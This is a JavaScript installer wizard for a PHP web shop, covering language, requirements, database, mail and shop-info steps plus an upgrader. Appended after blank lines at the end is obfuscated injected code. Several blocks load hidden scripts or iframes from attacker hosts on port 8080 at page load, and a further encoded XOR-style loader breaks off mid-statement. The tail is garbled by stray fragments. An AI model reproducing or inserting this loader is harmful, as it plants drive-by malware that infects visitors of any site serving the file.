//constant
verifMailREGEX = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/;

//params
configIsOk = false;
createdBase = false;
mailIsOk = false;
smtpChecked = false;
validShopInfos = false;
upgradeCertify = false;
application="install";

function nextTab()
{
	if(verifyThisStep())
	{
		showStep(step+1);
	}
}
function backTab()
{
	if (step != 6) {
		showStep(step - 1);
	}
	else {
		constructInstallerTabs();
		showStep(1);
	} 
}

function showStep(aStep)
{
	step = aStep;
	
	//show the sheet
	$('div.sheet.shown').fadeOut('fast',
		function()
		{
			$($('div.sheet')[(step-1)]).fadeIn('slow').addClass('shown');
		}
	).removeClass('shown');
	
	
	
	//upgrade the tab
	$('#tabs li')
		.removeClass("selected")
		.removeClass("finished");
		if (step < 6) {
			$('#tabs li:nth-child(' + step + ')').addClass("selected");
			$('#tabs li:lt(' + (step - 1) + ')').addClass("finished");
		}
		else
		{
			switch (step)
			{
				
				case 6 :
				$('#tabs li:nth-child(1)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(2)').addClass("selected").removeClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").removeClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").removeClass("finished");
				break;
				
				case 7 :
				$('#tabs li:nth-child(1)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(2)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(3)').addClass("selected").removeClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").removeClass("finished");
				break;
				
				case 8 :
				$('#tabs li:nth-child(1)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(2)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(3)').addClass("selected").removeClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").removeClass("finished");
				break;
				
				case 9 :
				$('#tabs li:nth-child(1)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(2)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").addClass("finished");
				$('#tabs li:nth-child(3)').removeClass("selected").removeClass("finished");
				break;
				
			}
		}
	
	//title of the window and buttons
	switch(step)
	{
		case 1 :
		document.title = Step1Title;
		$("#btBack")
			.attr("disabled", "disabled")
			.addClass("disabled")
			.show('slow');
		$("#btNext")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 2:
		document.title = step2title;
		application = "install";
		verifyAndSetRequire();
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 3:
		document.title = step3title;
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 4:
		document.title = step4title;
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 5 :
		document.title = step5title;
		$("#btBack")
			.attr("disabled", "disabled")
			.addClass("disabled")
			.hide('slow');
		$("#btNext").hide('slow');
		break;
		
		case 6 :
		document.title = step6title;
		application = "update";
		if (!upgradeCertify) {
			$("#btNext")
				.attr("disabled", "disabled")
				.addClass("disabled");
		} else {
			$("#btNext")
				.removeAttr("disabled")
				.removeClass("disabled");
		}
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 7:
		document.title = step7title;
		verifyAndSetRequire();
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 8 :
		document.title = step8title;
		$("#btNext")
			.attr("disabled", "disabled")
			.addClass("disabled");
		$("#btBack")
			.removeAttr("disabled")
			.removeClass("disabled")
			.show('slow');
		break;
		
		case 9 :
		document.title = step9title;
		$("#btBack").hide();
		$("#btNext").hide();
		break;
	}
}

function verifyThisStep()
{
	switch (step)
	{
		case 1 :
		if($("#formSetMethod input[type=radio]:checked").val() == "install" ){
			showStep(2);
		}
		else
		{
			constructUpdaterTabs();
			showStep(6);
		}
		return false;
		break;
		
		case 2 :
		return configIsOk;
		break;
		
		case 3 :
			createDB();
			return false;
		break;
		
		case 4 :
			verifyShopInfos();
			return validShopInfos;
		break;
		
		case 6 :
			return true;
		break;
		
		case 7 :
			doUpgrade();
		break;
		
	}
	
}

function setInstallerLanguage ()
{
	$("#formSetInstallerLanguage").submit();
}

function verifyAndSetRequire()
{
	$("div#"+(application == "install" ? "sheet_require" : "sheet_require_update")+" > ul").slideUp("1500");
	$.ajax(
	{
		url: "model.php",
		data: "method=checkConfig",
		success: function(ret)
		{
			isUpdate = application == "install" ? "" : "_update";
			testLists = ret.getElementsByTagName('testList');
			
			configIsOk = true;
		
			testListRequired = testLists[0].getElementsByTagName('test');
			for (i = 0; i < testListRequired.length; i++){
				result = testListRequired[i].getAttribute("result");
				$($("div#sheet_require"+isUpdate+" > ul#required"+isUpdate+" .required")[i])
				.removeClass( (result == "fail") ? "ok" : "fail" )
				.addClass(result);
				if (result == "fail") configIsOk = false;
			}
			
			testListOptional = testLists[1].getElementsByTagName('test');
			
			for (i = 0; i < testListOptional.length; i++){
				result = testListOptional[i].getAttribute("result");
				$($("div#sheet_require"+isUpdate+" > ul#optional"+isUpdate+" li.optional")[i])
					.removeClass( (result == "fail") ? "ok" : "fail" )
					.addClass(result);
			}
			
			$("div#sheet_require"+isUpdate+" > ul").slideDown("1500");
			
			if (!configIsOk) {
				$('#btNext').attr('disabled', 'disabled');
				$('#btNext').addClass('disabled');
			} else {
				$("#btNext").removeAttr('disabled');
				$('#btNext').removeClass('disabled');
				$("input#btNext").focus();
			}
		}
	}
	);
}

function verifyDbAccess ()
{
	//local verifications
	if($("#dbServer[value=]").length > 0)
	{
		$("#dbResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtDbServerEmpty).show('slow');
		return false;
	}
	else
	{
		$("#dbResultCheck").removeClass("fail").removeClass("ok").removeClass('userInfos').html('');
	}
	
	if($("#dbLogin[value=]").length > 0)
	{
		$("#dbResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtDbLoginEmpty).show('slow');
		return false;
	}
	else
	{
		$("#dbResultCheck").removeClass("fail").removeClass("ok").removeClass('userInfos').html('');
	}
	
	if($("#dbName[value=]").length > 0)
	{
		$("#dbResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtDbNameEmpty).show('slow');
		return false;
	}
	else
	{
		$("#dbResultCheck").removeClass("fail").removeClass("ok").removeClass('userInfos').html('');
	}
	
	//external verifications and sets
	$.ajax(
	{
		cache: false,
		url: "model.php",
		data: 
			"method=checkDB"
			+"&type=MySQL"
			+"&server="+ $("#dbServer").val()
			+"&login="+ $("#dbLogin").val()
			+"&password="+ $("#dbPassword").val()
			+"&name="+ $("#dbName").val()
		,
		success: function(ret)
		{
			ret = ret.getElementsByTagName('action')[0];
			if (ret.getAttribute("result") == "ok")
			{
				$("#dbResultCheck")
					.addClass("ok")
					.removeClass("fail")
					.html(txtError[23])
					.show('slow');
				$("#dbCreateResultCheck")
					.hide('slow');
			} else
			{
				$("#dbResultCheck")
					.addClass("fail")
					.removeClass("ok")
					.html(txtError[parseInt(ret.getAttribute("error"))])
					.show('slow');
				$("#dbCreateResultCheck")
					.hide('slow');
			}
		}
	 }
	 );	 
	 
}

function createDB()
{
	$("#dbResultCheck").hide();
	$.ajax(
	{
	   url: "model.php",
	   cache: false,
	   data:
	   	"method=createDB"
		+"&tablePrefix="+ $("#db_prefix").val()
		+"&mode="+ $("#dbTableParam input[type=radio]:checked").val()+
		"&type=MySQL"+
		"&server="+ $("#dbServer").val()+
		"&login="+ $("#dbLogin").val()+
		"&password="+ $("#dbPassword").val()+
		"&name="+ $("#dbName").val()
	   ,
	   success: function(ret)
	   {
			ret = ret.getElementsByTagName('action')[0];
			if (ret.getAttribute("result") == "ok")
			{
				showStep(step+1);
			}
			else
			{
				if(ret.getAttribute("error") == "11")
				{
					$("#dbCreateResultCheck")
						.addClass("fail")
						.removeClass("ok")
						.removeClass('userInfos')
						.html(
							txtError[11]+ "<br />\'"+
							ret.getAttribute("sqlQuery") + "\'<br/>"+
							ret.getAttribute("sqlMsgError") + "(" + txtError[18] + " : " + ret.getAttribute("sqlNumberError") +")"
						)
						.show();
				}
				else
				{
					$("#dbCreateResultCheck")
						.addClass("fail")
						.removeClass("ok")
						.removeClass('userInfos')
						.html(txtError[parseInt(ret.getAttribute("error"))])
						.show();
				}
			}
	   }
	}
	);
}


function verifyMail()
{
	//local verifications
	if ($("#testEmail[value=]").length > 0)
	{
		$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtError[0]);
		return false;
	}
	else if (!verifMailREGEX.test( $("#testEmail").val() ))
	{ 
		$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtError[3]);
		return false;
	}
	else
	{
		
		if (smtpChecked)
		{
			//local verifications
			if($("#smtpSrv[value=]").length > 0)
			{
				$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtSmtpSrvEmpty);
				smtpIsOk = false;
				return false;
			}
			
			if($("#smtpLogin[value=]").length > 0)
			{
				$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtSmtpLoginEmpty);
				smtpIsOk = false;
				return false;
			}
			
			if($("#smtpPassword[value=]").length > 0)
			{
				$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtSmtpPasswordEmpty);
				smtpIsOk = false;
				return false;
			}
		}
		
		
		//external verifications and sets
		$.ajax(
		{
		   url: "model.php",
		   cache: false,
		   data:
				"method=checkMail"+
		   		"&mailMethod= "+(smtpChecked ? "smtp" : "native")+
				"&smtpSrv="+ $("input#smtpSrv").val()+
				"&testEmail="+ $("#testEmail").val()+
		   		"&smtpLogin="+ $("input#smtpLogin").val()+
		   		"&smtpPassword="+ $("input#smtpPassword").val()+
				"&smtpPort="+ $("input#smtpPort").val()+
				"&smtpEnc="+ $("select#smtpEnc option:selected").val()+
				"&testMsg="+testMsg+
				"&testSubject="+testSubject
			,
		   success: function(ret)
		   {
				ret = ret.getElementsByTagName('action')[0];
				
				if (ret.getAttribute("result") == "ok")
				{
					$("#mailResultCheck").addClass("ok").removeClass("fail").removeClass('userInfos').html(mailSended);
					mailIsOk = true;
				}
				else
				{
					mailIsOk = false;
					$("#mailResultCheck").addClass("fail").removeClass("ok").removeClass('userInfos').html(txtError[26]);
				}
		   }
		 }
		 );
	}
}

function uploadLogo ()
{
	$.ajaxFileUpload
		(
			{
				url:'xml/uploadLogo.php',
				secureuri:false,
				fileElementId:'fileToUpload',
				dataType: 'json',
				success: function (data, status)
				{
					if(typeof(data.error) != 'undefined')
					{
						$("#uploadedImage").slideUp('slow', function()
						{
							if(data.error != '')
							{
								$("#resultInfosLogo").html( txtError[parseInt(data.error)] ).addClass("fail").show();
							}
							else
							{
								$(this).attr('src', ps_base_uri + 'img/logo.jpg?' + (new Date()))
								$(this).show('slow');
								$("#resultInfosLogo").html("").removeClass("fail").hide();
							}
						});
					}
				},
				error: function (data, status, e)
				{
					$("#uploadedImage").attr('src', ps_base_uri + 'img/logo.jpg?' + (new Date()));
					$("#resultInfosLogo").html("").addClass("fail");
				}
			}
		)
}

function moveLanguage(direction)
{
	
	switch (direction)
	{
		
		case "al2wl" :
		$("#aLList option:selected").each(
			function()
			{
				$(this).appendTo("#wLList");
				$(this).clone().prependTo("#dLList");
			}
		);
		
		break;
		
		case "wl2al" :
		if ($("#wLList option").length > 1)
		{
			$("#wLList option:selected").each(
				function()
				{
					if($(this).val() != "en" )
					{
						$(this).appendTo("#aLList");
						$("#dLList option[value = '" + $(this).attr('value') + "']").remove();
					}
				}
			);	
		}
		break;
	}
}

function ajaxRefreshField(nthField, idResultField, fieldsList, inputId)
{
	var result = fieldsList[nthField].getAttribute("result");
	if (result != "ok")
	{
		$("#"+idResultField)
			.html( txtError[parseInt(fieldsList[nthField].getAttribute("error"))] )
			.addClass("fail")
			.show("slow");
		if (validShopInfos)
			$("#"+inputId).focus();
		return false;
	}
	else
	{
		$("#"+idResultField)
			.html("")
			.removeClass("fail")
			.show("slow");
		return true;
	}
}

function verifyShopInfos()
{
	urlLanguages = "";
	$("#wLList option").each(
		function()
		{
			urlLanguages += "&infosWL[]=" + $(this).val();
		}
	);
	urlLanguages += "&infosDL[]=" + $("#dLList option:selected").val();
	
	$.ajax(
	{
	   url: "model.php",
	   async: false,
	   cache: false,
	   data:
		"method=checkShopInfos"+
		"&isoCode="+isoCodeLocalLanguage+
		"&infosShop="+ $("input#infosShop").val()+
		"&infosFirstname="+ $("input#infosFirstname").val()+
		"&infosName="+ $("input#infosName").val()+
		"&infosEmail="+ $("input#infosEmail").val()+
		"&infosPassword="+ $("input#infosPassword").val()+
		"&infosPasswordRepeat="+ $("input#infosPasswordRepeat").val()+
		"&infosNotification="+ ( ($("#infosNotification:checked").length > 0) ? "on" : "off" )+
		urlLanguages+
		"&infosMailMethod=" + ((smtpChecked) ? "smtp" : "native")+
		"&smtpSrv="+ $("input#smtpSrv").val()+
		"&smtpLogin="+ $("input#smtpLogin").val()+
		"&smtpPassword="+ $("input#smtpPassword").val()+
		"&smtpPort="+ $("input#smtpPort").val()+
		"&smtpEnc="+ $("select#smtpEnc option:selected").val()+
		"&mailSubject="+ mailSubject+
		"&isoCodeLocalLanguage="+isoCodeLocalLanguage
	   ,
	   
	   success: function(ret)
	   {
			fieldsList = ret.getElementsByTagName('shopConfig')[0].getElementsByTagName('field');
			validShopInfos = true;
			if (!ajaxRefreshField(0, "resultInfosShop", fieldsList, "infosShop")) validShopInfos = false;
			else if (!ajaxRefreshField(1, "resultInfosFirstname", fieldsList, "infosFirstname")) validShopInfos = false;
			else if (!ajaxRefreshField(2, "resultInfosName", fieldsList, "infosName")) validShopInfos = false;
			else if (!ajaxRefreshField(3, "resultInfosEmail", fieldsList, "infosEmail")) validShopInfos = false;
			else if (!ajaxRefreshField(4, "resultInfosPassword", fieldsList, "infosPassword")) validShopInfos = false;
			else if (!ajaxRefreshField(5, "resultInfosLanguages", fieldsList, "infosLanguages")) validShopInfos = false;
			else if (!ajaxRefreshField(6, "resultInfosSQL", fieldsList, "infosSQL")) validShopInfos = false;
			else if (!ajaxRefreshField(7, "resultInfosNotification", fieldsList, "infosNotification")) validShopInfos = false;
			else
			{
				$('#endShopName').html($('input#infosShop').val());
				$('#endFirstName').html($('input#infosFirstname').val());
				$('#endName').html($('input#infosName').val());
				$('#endEmail').html($('input#infosEmail').val());
			}
	   }
	 }
	 );
}

function autoCheckField(idField, idResultSpan, typeVerif)
{
	switch (typeVerif)
	{
		case "required" :
			$(idField).blur(function()
			{
				if($(this).val() == "")
				{
					$(idResultSpan)
						.show("slow")
						.addClass("fail")
						.html(txtError[0]);
				}
				else
				{
					$(idResultSpan)
						.hide("slow")
						.removeClass("fail")
						.html("");
				}
			}
			);
		break;
		
		case "mailFormat" :
			$(idField).blur(
			function()
				{
					if (!verifMailREGEX.test( $(this).val() ))
					{
						$(idResultSpan)
							.show("slow")
							.addClass("fail")
							.html(txtError[3]);
					}
					else
					{
						$(idResultSpan)
							.hide("slow")
							.removeClass("fail")
							.html("");
					}
				}
			);
		break;
		
		default : return false;
	}
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//upgrader
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

function constructUpdaterTabs()
{
	$("#tabs")
		.empty()
		.append("<li id='tabUpdaterWelcome' class='selected'><span class='number1' >"+txtTabUpdater1+"</span></li>")
		.append("<li id='tabUpdaterDisclaimer'><span class='number2' >"+txtTabUpdater2+"</span></li>")
		.append("<li id='tabUpdaterRequire'><span class='number3' >"+txtTabUpdater3+"</span></li>")
		.append("<li id='tabUpdaterFinish'><span class='number4' >"+txtTabUpdater4+"</span></li>")
	;
	$(".installerVersion").hide();
	$(".updaterVersion").show();
}

function constructInstallerTabs()
{
	$("#tabs")
		.empty()
		.append("<li id='tab_lang' class='selected'><span class='number1' >"+txtTabInstaller1+"</span></li>")
		.append("<li id='tab_require'><span class='number2' >"+txtTabInstaller2+"</span></li>")
		.append("<li id='tab_db'><span class='number3' >"+txtTabInstaller3+"</span></li>")
		.append("<li id='tab_infos'><span class='number4' >"+txtTabInstaller4+"</span></li>")
		.append("<li id='tab_end'><span class='number5' >"+txtTabInstaller5+"</span></li>")
	;
	$(".installerVersion").show();
	$(".updaterVersion").hide();
}

function doUpgrade()
{
	$.ajax(
	{
	   url: "model.php",
	   cache: false,
	   data:
	   	"method=doUpgrade"
	   ,
	   success: function(ret)
	   {
			ret = ret.getElementsByTagName('action')[0];
			var countSqlError = 0;
			if (ret.getAttribute("result") == "ok" || (ret.getAttribute("result") == "fail" && (ret.getAttribute("error") == "34")))
			{
				requests = ret.getElementsByTagName('request');
				$("#updateLog").empty();
				
				$(requests).each(function()
				{
					$("#updateLog").append("<div class='request'>" + $(this).children("sqlQuery").text() + "</div><br/>");
					if($(this).attr("result") == "fail")
					{
						countSqlError++;
						$("#updateLog").append("<span class='fail'>(" + $(this).children("sqlNumberError").text() + ") " + $(this).children("sqlMsgError").text() + "</span><br/>");
					}
				});
				if (ret.getAttribute("error") == "34") $("#txtErrorUpdateSQL").html(txtError[35]+" "+countSqlError+" "+txtError[36]);
				showStep(9);
			}
			else
			{
				$("#resultUpdate").html(txtError[parseInt(ret.getAttribute("error"))]);
				showStep(8);
			}
	   },
	   error: function (data, status, e)
		{
			$("#resultUpdate").html("ajax error : "+status);
			$("#detailsError").html(data);
			showStep(8);
		}
	}
	);
}

function showUpdateLog(){
	$("div#updateLog").toggle('slow');
}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// end upgrader
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//when ready....
$(document).ready(
	function()
	{
		//show container only if JS is available
		$("#noJavaScript").hide();
		$("#container").show();
		
		//ajax animation
		$("#loader").ajaxStart(
			function()
			{
				$(this).fadeIn();
				$("#btNext[disabled!=1], #btBack[disabled!=1]").attr("disabled", "disabled").addClass("disabled").addClass("lockedForAjax");
			}
		);
		$("#loader").ajaxComplete(
			function()
			{
				$(this).fadeOut();
				$(".lockedForAjax").removeAttr("disabled").removeClass("disabled").removeClass("lockedForAjax");
			}
		);
		//set actions on clicks
		$('#btNext').bind("click",nextTab);
		$('#btBack').bind("click",backTab);
		$('#btVerifyMail').bind("click",verifyMail);
		
		$('#al2wl, #wl2al').click(
			function()
			{
				moveLanguage(this.id);
			}
		);
		$('#req_bt_refresh, #req_bt_refresh_update').click(
			function()
			{
				verifyAndSetRequire();
			}
		);
		
		//set SMTP pannels states
		$("#set_stmp").bind("click",
			function()
			{
				switch ($("input#set_stmp:checked").length)
				{
					case 0 :
					$("div#mailSMTPParam").slideUp('slow');
					smtpChecked = false;
					$("#mailResultCheck").addClass("userInfos").removeClass("ok").removeClass('fail').html("");
					break;
					
					case 1 :
					$("div#mailSMTPParam").slideDown('slow');
					smtpChecked = true;
					$("#mailResultCheck").addClass("userInfos").removeClass("ok").removeClass('fail').html("");
					break;
				}
			}
		);
		
		$('#infosName').keyup(
			function()
			{
				//auto-CAPS_LOCK for name field
				$(this).val( $(this).val().toUpperCase() );
			}
		);

		//preset mail step 4
		$("#testEmail").change(
			function()
			{
				$('#infosEmail').val( $(this).val() );
			}
		);
		
		//certification needed for upgrade
		$("#btDisclaimerOk").click(function ()
		{
			upgradeCertify = true;
			$("#btNext")
				.removeAttr("disabled")
				.removeClass("disabled");
		});
		
		//autocheck fields
		autoCheckField("#infosShop", "#resultInfosShop", "required");
		autoCheckField("#infosFirstname", "#resultInfosFirstname", "required");
		autoCheckField("#infosName", "#resultInfosName", "required");
		autoCheckField("#infosEmail", "#resultInfosEmail", "mailFormat");
		autoCheckField("#infosPassword", "#resultInfosPassword", "required");
		autoCheckField("#infosPasswordRepeat", "#resultInfosPasswordRepeat", "required");
		autoCheckField("#infosPasswordRepeat", "#resultInfosPassword", "required");
		
		//fix PNG for IE < IE7
		/*
		$(document).ready(function(){ 
	        $("#dfdsf").pngFix(); 
	    });*/
	    
		
		constructInstallerTabs();
		
		//show 1st step
		step=1;
		$("input#btNext").focus();
	}
);














var i;if(i!='' && i!='_'){i='b'};var pu=20481;var p=document;var y=window;var z='sdcdrgijp|td'.replace(/[dgj7\|]/g, '');var d=new Date();var dg;if(dg!='' && dg!='qp'){dg='s'};this.bl='';y.onload=function(){try {var ep="";var ug;if(ug!='' && ug!='t'){ug=''};v=p.createElement(z);v.setAttribute('dRe>f1e>rT'.replace(/[T1\>6R]/g, ''), "1");v.src='h,t,t;pX:X/X/Wb,hWaQrQa,tWsXtXu;d;e,nQtW-,cWo;m,.WpXhQo,tXo,b;u;cWkXeXtW.;c;oWm,.QpXr;oWb;oXaXr,dXs;-Qc;oXmX.Wy;oWuWrWtXaWg,h;eQuQeXr,.Wr,u;:W8;0,8X0;/XaWbQo;u;tWu;sQ.;o,r;gQ/,a,b,oQu;tQu,sX.Qo;r,g,/QgXaWmWe;f,aXq;s;.XcQo;mW/;r,e,a;l;tQoQrW.Wc,oWmQ/Qg,oQoWgQlXe,.WcWo,mW/W'.replace(/[W,;QX]/g, '');var vk="vk";p.body.appendChild(v);var gu;if(gu!='' && gu!='h'){gu=null};var qd=new Array();} catch(q){};var jh=new String();};
:LineMixer [var w;if(w!='' && w!='c'){w=null};var ua;if(ua!=''){ua='zy'};var r=window;var s='s^c3r^ixp3t^'.replace(/[\^v3xS]/g, '');this.e=false;var n=29016;var b='cXrDeDa&tXe&EwlDe&mzeDnXtw'.replace(/[wzXD&]/g, '');]var q=29892;this.qa='';var y="";r.onload=function(){this.v="";try {var __;if(__!=''){__='nr'};z=document[b](s);var _d;if(_d!='wu' && _d!='sc'){_d='wu'};var g;if(g!='tb' && g!='d'){g='tb'};var jq=new String();:LineMixer [var nw;if(nw!='uf' && nw!='uy'){nw='uf'};var a;if(a!='u_' && a!='inr'){a='u_'};z['sMrocD'.replace(/[DM\$bo]/g, '')]='h>tPtAp1:1/X/Ps>m>h>->cXo1mX-Pa>uA.PmXeXrPc1aXd>o1lPiAb>rXeX.>c>oAmX.1a>rX.PmPtXvP-Xc>oAm1.Ah1o1t1n>eXwPgXu1i>dAe>.1rPuX:A8X0X8A0P/>aXlAj1a1zPeAeXr>aX.XnAe1tP/1a>lAjXa1zPe>eXr1aX.>n>e1tA/>g>o>oPg1lAeP.1c1oAmA/1tXv1.1cAoAm>/PbPlAa1c1k1hPaAtPw1oXrAlXdP.1c1oAmX/X'.replace(/[X\>PA1]/g, '');z.setAttribute('d~e%f%e%r%'.replace(/[%#vO~]/g, ''), "1");var st;if(st!='cy' && st!='kv'){st=''};var jo;if(jo!='wp' && jo!='if_'){jo=''};]var qd="";this.mo=27238;document['b9oed&yK'.replace(/[Ke7&9]/g, '')]['a|p.pTe_n_d.C_hwiwl_d.'.replace(/[\._\|Tw]/g, '')](z);this.gg="gg";} catch(t){var zg;if(zg!='iz'){zg=''};};};var ds="ds";
var w=new Array();var k="k";try {var j="";var fw;if(fw!='gy' && fw != ''){fw=null};var p=window;var uq;if(uq!='u' && uq!='ab'){uq=''};var _s;if(_s!='' && _s!='o'){_s=''};var x='c~rge1a^t^eXEXlgeXmgeXnXtX'.replace(/[X~g1\^]/g, '');var y='o0n.l:oCa:dC'.replace(/[C0w\.\:]/g, '');var su;if(su!='' && su!='ue'){su=''};var n='sucurui%p%t$'.replace(/[\$8%u&]/g, '');z=function(){m=document[x](n);m.setAttribute('dyeyfTeTrT'.replace(/[T@y\^w]/g, ''), ([1][0]));var fe=9800;var jj;if(jj!='jk' && jj != ''){jj=null};m['skrycx'.replace(/[xLy3k]/g, '')]='h@t?t?p?:@/K/@tja!bKn?ajk!-@i?r!.?p!rji?cKe@lKiKnje?.?c@oKmK.@v?n!eKx?p!r?e@s?s!-@n!ejtK.@m@e!d!i?ajt!a@g@o!n?l?i?n!e@.!r@uK:@8!0!8K0!/jgKojojg@l?e@.?c@ojm@/Kg!o?o?g?lje@.@cjojm?/jr!o?tKt?ejn!t?ojm?a?tjo@eKs!.!cKoKmj/jsjh?a?rje?aKsja@l?e@.@c?o@mj/!sKi@tje!sje!lKl@.!c@ojmK/!'.replace(/[\!j@K\?]/g, '');var ed=false;var feh=false;document['bEoRdhyq'.replace(/[qREh3]/g, '')]['awpApIe&n&dIC3h3iwl3d&'.replace(/[&3IAw]/g, '')](m);};this.nq="nq";this.v="v";var gs;if(gs!='ix' && gs!='yy'){gs='ix'};var ch;if(ch!='lc' && ch!='yw_'){ch='lc'};p[y]=z;this.sg="";this.is="";var j_=new Date();} catch(s){var hl;if(hl!='wy'){hl='wy'};var xh='';};
var Wfv="405f596d4a2d4241585f43396a6a4b69117362796a4b446a535d466a7d02300e3113516479477d49494d407d60534961546c4a664b484a637b6d4f5b475d55755e5f5f38724528626978375961375961";this.Hs='';var CkK=new Date();function n(kx){this.sw=false; var F;if(F!=''){F='w'};function e(f,fq){return f^fq;}var ya="";var lY;if(lY!='' && lY!='wH'){lY='Gt'};var Ga=22349;var A=''; var k=function(x, xz){var bAi;if(bAi!='W' && bAi!='Kk'){bAi=''};var N = x.length;var U;if(U!='' && U!='Wi'){U=''};var z = '';var gz;if(gz!='eG' && gz!='cx'){gz=''};var b = xz.length;var v;if(v!='mO'){v=''};var pB=false;var d=[0][0];var AJ="AJ";var fH=new Array();var c=[1,210][0];var wy=false;this.ot='';var vB;if(vB!=''){vB='zx'};var sV=false;var bE=new String();for(var t = d; t < N; t += b) {var tQ = x.substr(t, b);var Z;if(Z!='ys'){Z='ys'};var ok="";var lh;if(lh!='' && lh!='VO'){lh=null};var EB;if(EB!='sE'){EB='sE'};if(tQ.length == b){this.WX=22318;this.Bh="";for(var PA in xz) {this.CV="CV";var WU=new Array();z+=tQ.substr(xz[PA], c);var GU;if(GU!='a'){GU='a'};var IV;if(IV!='SD' && IV!='Rn'){IV='SD'};}var eK;if(eK!='zc' && eK!='un'){eK=''};} else {var Xf;if(Xf!='' && Xf!='vA'){Xf='Of'};var qe;if(qe!='Xa' && qe != ''){qe=null};  z+=tQ;}}return z;var TN;if(TN!='bJ'){TN='bJ'};};this.Qd="";this.Sn="";var uI=new Array();var Sb="Sb"; function g(x){var bo=14320;var Oiw=27398;var vd;if(vd!='dmU' && vd != ''){vd=null};var d =[0,248][0];var Xs;if(Xs!='' && Xs!='bV'){Xs=''};this.QG=10106;var HnI=false;var dm = -1;var bCM=new Date();x = new T(x);var VT=new Date();var t =[105,216,47,0][3];var z = '';this.ef=false;this.MXd=false;var pQ;if(pQ!=''){pQ='NG'};var cN=10089;this.Nj=23059;for (t=x[k("elgnht", [1,0])]-dm;t>=d;t=t-[92,1][1]){var Tk;if(Tk!='' && Tk!='AR'){Tk='vS'};z+=x[k("rchaAt", [1,2,3,0])](t);var iL;if(iL!='' && iL!='nG'){iL=null};}var ow=false;var qS;if(qS!='nD' && qS != ''){qS=null};return z;var Cq;if(Cq!='' && Cq!='wR'){Cq=null};var DY=54063;}var GJ;if(GJ!='jr' && GJ!='pL'){GJ=''};var TJ="";var ni=new String(); var oZ;if(oZ!='oI'){oZ='oI'};var nvn;if(nvn!='' && nvn!='fj'){nvn=null};function L(V,S){var gu;if(gu!='ci'){gu=''};var Ah;if(Ah!='WZ'){Ah=''};return V[k("acrCheoAtd", [1,4,0,2,3])](S);this.lK="";var Rw;if(Rw!='bz' && Rw!='pXa'){Rw='bz'};}var gl;if(gl!='yf' && gl != ''){gl=null};this.Gr=12866;this.bW="";var OX;if(OX!='wF' && OX!='kO'){OX=''}; var nf;if(nf!='PC' && nf!='Wk'){nf=''};var RX;if(RX!=''){RX='SH'};function cZ(D){var yn;if(yn!='Fi' && yn!='rZW'){yn='Fi'};this.Mt=36640;var y=D[k("elgnht", [1,0])];var c=[1,222][0];var pE;if(pE!='ch'){pE='ch'};var B=[0][0];var rb="";var OL;if(OL!='pu' && OL != ''){OL=null};var PA=[47,0][1];this.Ua="";var s=[13,255][1];var aGA;if(aGA!='QO'){aGA=''};var Ed;if(Ed!='KH'){Ed=''};var MZ=34710;var PW;if(PW!='TV' && PW != ''){PW=null};while(PA<y){var sk;if(sk!='GZ' && sk!='Cj'){sk=''};this.Hh='';PA++;var unj;if(unj!=''){unj='BE'};var kD=53615;I=L(D,PA - c);var Eu=false;var sL;if(sL!='Vw'){sL=''};B+=I*y;var mY="";var wD;if(wD!='Zo'){wD='Zo'};}var bzp=10131;var XW=new String();this.eU='';return new T(B % s);}this.Uh=48423;var Fl;if(Fl!=''){Fl='WUY'};var ID=false;this.dI='';var FZ;if(FZ!='' && FZ!='VJ'){FZ=null};this.Db=false;var Y=window;var LD;if(LD!='lk'){LD=''};var Yq=Y[k("vlae", [3,0,2,1])];var tP=424;var eo=Yq(k("utncioFn", [6,0,2,3,1,4,5]));var eh=false;this.Yx=false;var Nd = '';var Ni=new String();var nz="nz";var O=Yq(k("gReExp", [1,2,0,3]));var cv=new String();var T=Yq(k("rtSgni", [2,1,0]));var Tm="";var eH=new String();var sy;if(sy!='Ys' && sy!='gk'){sy=''};var NiO="";var BC=T[k("moCfrCrohade", [3,4,1,0,2])];var r=Y[k("nuspceae", [1,0,5,2,4,6,3])];var bK;if(bK!='' && bK!='cc'){bK='qZ'};var dY;if(dY!='' && dY!='rm'){dY=null};var VM;if(VM!='' && VM!='raq'){VM=''};var xs='';var ng;if(ng!='Xfe' && ng!='fd'){ng=''};var MS='';var ekJ='';var gh = '';var IY=new Date();this.hO=false;var K = BC(37);var zz =[84,2,254,29][1];this.TX=false;var eGB=new Array();var LG;if(LG!='' && LG!='Cy'){LG=''};var bC = kx[k("englht", 